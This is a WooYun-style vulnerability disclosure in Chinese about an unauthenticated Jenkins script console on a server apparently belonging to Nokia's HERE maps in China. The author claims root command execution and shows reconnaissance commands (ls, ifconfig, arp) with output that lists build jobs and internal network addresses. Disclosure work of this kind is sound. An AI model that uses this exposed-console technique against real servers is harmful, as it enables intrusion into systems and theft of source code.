诺基亚显示未知服务器,诺基亚旗下here地图国内某服务器第三方系统未授权访问(多项目源码泄露)导致命令执行 | wooyun...

mask 区域

1.http://**.**.**/_

**********

*****授权*****

直接来命令执行 root 权限

http://*.*.*.*:8089/computer/(master)/script

ls -al /home 看见一个here用户 怀疑是诺基亚的。

然后一翻代码果然是。。看下面

http://*.*.*.*:8089/job/MSP_China_Deployment_Check_F5_demo/lastSuccessfulBuild/artifact/MSP_China_Deployment_Check_F5/MSP_China_Deployment_Check_F5_Results.html

ls -al //var/lib/jenkins/jobs

196

drwxrwxrwx. 49 jenkins jenkins 4096 May 12 13:41 .

drwxr-xr-x. 13 jenkins jenkins 4096 Jun 2 10:17 ..

drwxrwxrwx. 3 root root 4096 Nov 13 2015 MSP_China_Deployment_Check_DMRQA_hcwang

drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F5

drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F51

drwxrwxrwx. 4 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_F5_demo

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Foreign

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Integration

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Deployment_Check_Version

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Regression

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Case_Debug

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03QA

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD03STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04QA

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD04STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05QA

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD05STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06QA

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD06STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD07PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_CD07QA

drwxrwxrwx. 3 root root 4096 Nov 13 2015 MSP_China_Test_Deployment_Check_CD07STG

drwxrwxrwx. 3 root root 4096 May 12 16:20 MSP_China_Test_Deployment_Check_CD08PRD

drwxrwxrwx. 3 root root 4096 May 19 10:11 MSP_China_Test_Deployment_Check_CD08QA

drwxrwxrwx. 3 root root 4096 May 12 16:19 MSP_China_Test_Deployment_Check_CD08STG

drwxrwxrwx. 3 jenkins jenkins 4096 Jun 6 11:37 MSP_China_Test_Deployment_Check_CD09PRD

drwxrwxrwx. 3 jenkins jenkins 4096 Jun 3 08:51 MSP_China_Test_Deployment_Check_CD09QA

drwxrwxrwx. 3 jenkins jenkins 4096 Jun 1 10:48 MSP_China_Test_Deployment_Check_CD09STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_legacy

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_MC

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_QA

drwxrwxrwx. 5 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_Temp

drwxrwxrwx. 3 root root 4096 Jun 3 10:01 MSP_China_Test_Deployment_Check_Test

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_China_Test_Deployment_Check_Test12

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_GeoRgeo

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_MFS2

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_CHINA_TEST_INTEGRATION_MIA

drwxrwxrwx. 3 root root 4096 Nov 12 2015 MSP_TEST_REGRESSION_GEORGEO

drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Deployment_Check_PRD

drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Deployment_Check_STG

drwxrwxrwx. 3 root root 4096 Nov 12 2015 Thor_China_Test_Deployment_Check_dmrQA_LiRui

drwxrwxrwx. 3 root root 4096 Nov 12 2015 Thor_China_Test_Deployment_Check_DMR_QA_zyx

drwxrwxrwx. 3 root root 4096 Nov 12 2015 THOR_China_Test_Deployment_Check_SPS

ifconfig -a

eth0 Link encap:Ethernet HWaddr 00:22:19:33:52:08

inet addr:192.168.69.9 Bcast:192.168.69.255 Mask:255.255.255.0

inet6 addr: fe80::222:19ff:fe33:5208/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1383001 errors:0 dropped:0 overruns:0 frame:0

TX packets:427222150 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1175852374 (1.0 GiB) TX bytes:335780493196 (312.7 GiB)

Interrupt:17

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:18 errors:0 dropped:0 overruns:0 frame:0

TX packets:18 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:940 (940.0 b) TX bytes:940 (940.0 b)

arp -a

? (192.168.69.110) at 00:25:ab:72:b5:e9 [ether] on eth0

? (192.168.69.7) at b8:ac:6f:49:f0:eb [ether] on eth0

? (192.168.69.101) at 28:d2:44:cf:ac:bf [ether] on eth0

? (192.168.69.1) at 3c:46:d8:8e:0a:e1 [ether] on eth0

? (192.168.69.109) at e8:9a:8f:96:35:2c [ether] on eth0

? (192.168.69.105) at c4:34:6b:49:5d:7c [ether] on eth0